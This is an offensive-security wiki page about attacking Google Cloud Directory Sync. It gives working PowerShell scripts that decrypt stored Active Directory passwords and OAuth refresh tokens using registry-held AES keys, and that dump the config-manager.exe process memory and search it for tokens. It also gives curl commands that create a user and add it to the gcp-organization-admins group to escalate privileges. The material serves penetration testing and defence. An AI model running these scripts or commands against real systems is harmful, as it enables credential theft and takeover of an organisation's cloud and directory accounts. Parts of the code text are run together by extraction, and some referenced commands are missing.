This is a tool that can be used to sync your active directory users and groups to your Workspace (and not the other way around by the time of this writing).
It's interesting because it's a tool that will require the credentials of a Workspace superuser and privileged AD user. So, it might be possible to find it inside a domain server that would be synchronising users from time to time.
To perform a MitM to the config-manager.exe binary just add the following line in the config.manager.vmoptions file: -Dcom.sun.net.ssl.checkRevocation=false
Note that Winpeas is capable to detect GCDS, get information about the configuration and even the passwords and encrypted credentials.
Also note that GCDS won't synchronize passwords from AD to Workspace. If something it'll just generate random passwords for newly created users in Workspace as you can see in the following image:
GCDS - Disk Tokens & AD Credentials
The binary config-manager.exe (the main GCDS binary with GUI) will store the configured Active Directory credentials, the refresh token and the access by default in a xml file in the folder C:\Program Files\Google Cloud Directory Sync in a file called Untitled-1.xml by default. Although it could also be saved in the Documents of the user or in any other folder.
Moreover, the registry HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui inside the key open.recent contains the paths to all the recently opened configuration files (xmls). So it's possible to check it to find them.
The most interesting information inside the file would be:
Note how the refreshtoken and the password of the user are encrypted using AES CBC with a randomly generated key and IV stored in HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util (wherever the prefs Java library store the preferences) in the string keys /Encryption/Policy/V2.iv and /Encryption/Policy/V2.key stored in base64.
Powershell script to decrypt the refresh token and the password
# Paths and key names$xmlConfigPath ="C:\Users\c\Documents\conf.xml"$regPath ="SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"$ivKeyName ="/Encryption/Policy/V2.iv"$keyKeyName ="/Encryption/Policy/V2.key"# Open the registry keytry { $regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath)if (-not $regKey) {Throw"Registry key not found: HKCU\$regPath" }}catch {Write-Error"Failed to open registry key: $_"exit}# Get Base64-encoded IV and Key from the registrytry { $ivBase64 = $regKey.GetValue($ivKeyName) $ivBase64 = $ivBase64 -replace'/','' $ivBase64 = $ivBase64 -replace'\\','/'if (-not $ivBase64) {Throw"IV not found in registry" } $keyBase64 = $regKey.GetValue($keyKeyName) $keyBase64 = $keyBase64 -replace'/','' $keyBase64 = $keyBase64 -replace'\\','/'if (-not $keyBase64) {Throw"Key not found in registry" }}catch {Write-Error"Failed to read registry values: $_"exit}$regKey.Close()# Decode Base64 IV and Key$ivBytes = [Convert]::FromBase64String($ivBase64)$keyBytes = [Convert]::FromBase64String($keyBase64)# Read XML content$xmlContent =Get-Content-Path $xmlConfigPath -Raw# Extract Base64-encoded encrypted values using regex$refreshTokenMatch = [regex]::Match($xmlContent,"<oAuth2RefreshToken>(.*?)</oAuth2RefreshToken>")$refreshTokenBase64 = $refreshTokenMatch.Groups[1].Value$encryptedPasswordMatch = [regex]::Match($xmlContent,"<authCredentialsEncrypted>(.*?)</authCredentialsEncrypted>")$encryptedPasswordBase64 = $encryptedPasswordMatch.Groups[1].Value# Decode encrypted values from Base64$refreshTokenEncryptedBytes = [Convert]::FromBase64String($refreshTokenBase64)$encryptedPasswordBytes = [Convert]::FromBase64String($encryptedPasswordBase64)# Function to decrypt data using AES CBCFunctionDecrypt-Data($cipherBytes, $keyBytes, $ivBytes) { $aes = [System.Security.Cryptography.Aes]::Create() $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $aes.KeySize =256 $aes.BlockSize =128 $aes.Key = $keyBytes $aes.IV = $ivBytes $decryptor = $aes.CreateDecryptor() $memoryStream =New-Object System.IO.MemoryStream $cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)
$cryptoStream.Write($cipherBytes,0, $cipherBytes.Length) $cryptoStream.FlushFinalBlock() $plaintextBytes = $memoryStream.ToArray() $cryptoStream.Close() $memoryStream.Close()return $plaintextBytes}# Decrypt the values$refreshTokenBytes = Decrypt-Data -cipherBytes $refreshTokenEncryptedBytes -keyBytes $keyBytes -ivBytes $ivBytes$refreshToken = [System.Text.Encoding]::UTF8.GetString($refreshTokenBytes)$decryptedPasswordBytes = Decrypt-Data -cipherBytes $encryptedPasswordBytes -keyBytes $keyBytes -ivBytes $ivBytes$decryptedPassword = [System.Text.Encoding]::UTF8.GetString($decryptedPasswordBytes)# Output the decrypted valuesWrite-Host"Decrypted Refresh Token: $refreshToken"Write-Host"Decrypted Password: $decryptedPassword"
Note that it's possible to check this information checking the java code of DirSync.jar from C:\Program Files\Google Cloud Directory Sync searching for the string exportkeys (as thats the cli param that the binary upgrade-config.exe expects to dump the keys).
Instead of using the powershell script, it's also possible to use the binary :\Program Files\Google Cloud Directory Sync\upgrade-config.exe with the param -exportKeys and get the Key and IV from the registry in hex and then just use some cyberchef with AES/CBC and that key and IV to decrypt the info.
GCDS - Dumping tokens from memory
Just like with GCPW, it's possible to dump the memory of the process of the config-manager.exe process (it's the name of the GCDS main binary with GUI) and you will be able to find refresh and access tokens (if they have been generated already).
I guess you could also find the AD configured credentials.
Dump config-manager.exe processes and search tokens
# Define paths for Procdump and Strings utilities $procdumpPath ="C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"$stringsPath ="C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"$dumpFolder ="C:\Users\Public\dumps"# Regular expressions for tokens $tokenRegexes =@( "ya29\.[a-zA-Z0-9_\.\-]{50,}","1//[a-zA-Z0-9_\.\-]{50,}")# Create a directory for the dumps if it doesn't exist if (!(Test-Path $dumpFolder)) { New-Item-Path $dumpFolder -ItemType Directory } # Get all Chrome process IDs $chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id
# Dump each Chrome process foreach ($processId in $chromeProcesses) { Write-Output"Dumping process with PID: $processId"& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"} # Extract strings and search for tokens in each dump Get-ChildItem $dumpFolder -Filter "*.dmp"|ForEach-Object { $dumpFile =$_.FullName $baseName =$_.BaseName $asciiStringsFile ="$dumpFolder\${baseName}_ascii_strings.txt" $unicodeStringsFile ="$dumpFolder\${baseName}_unicode_strings.txt"Write-Output"Extracting strings from $dumpFile"& $stringsPath -accepteula -n 50-nobanner $dumpFile > $asciiStringsFile & $stringsPath -accepteula -n 50-nobanner -u $dumpFile > $unicodeStringsFile $outputFiles =@($asciiStringsFile, $unicodeStringsFile) foreach ($file in $outputFiles) { foreach ($regex in $tokenRegexes) { $matches=Select-String-Path $file -Pattern $regex -AllMatches $uniqueMatches =@{} foreach ($matchInfo in$matches) { foreach ($match in $matchInfo.Matches) { $matchValue = $match.Value if (-not $uniqueMatches.ContainsKey($matchValue)) { $uniqueMatches[$matchValue] =@{ LineNumber = $matchInfo.LineNumber LineText = $matchInfo.Line.Trim() FilePath = $matchInfo.Path } } } } foreach ($matchValue in $uniqueMatches.Keys) { $info = $uniqueMatches[$matchValue] Write-Output"Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)" } } Write-Output"" } } Remove-Item-Path $dumpFolder -Recurse -Force
GCDS - Generating access tokens from refresh tokens
Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command:
Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the scopes supported by the application where you are generating the access token.
Also, the refresh token is not valid in every application.
By default GCSD won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the refresh_token to generate an access_token:
Create a user and add it into the group gcp-organization-admins to try to escalate in GCP
# Create new usercurl-XPOST \'https://admin.googleapis.com/admin/directory/v1/users' \-H'Authorization: Bearer <ACCESS_TOKEN>' \-H'Content-Type: application/json' \-d'{ "primaryEmail": "deleteme@domain.com", "name": { "givenName": "Delete", "familyName": "Me" }, "password": "P4ssw0rdStr0ng!", "changePasswordAtNextLogin": false }'# Add to groupcurl-XPOST \'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \-H'Authorization: Bearer <ACCESS_TOKEN>' \-H'Content-Type: application/json' \-d'{ "email": "deleteme@domain.com", "role": "OWNER" }'# You could also change the password of a user for example
It's not possible to give the new user the Super Amin role because the refresh token doesn't have enough scopes to give the required privileges.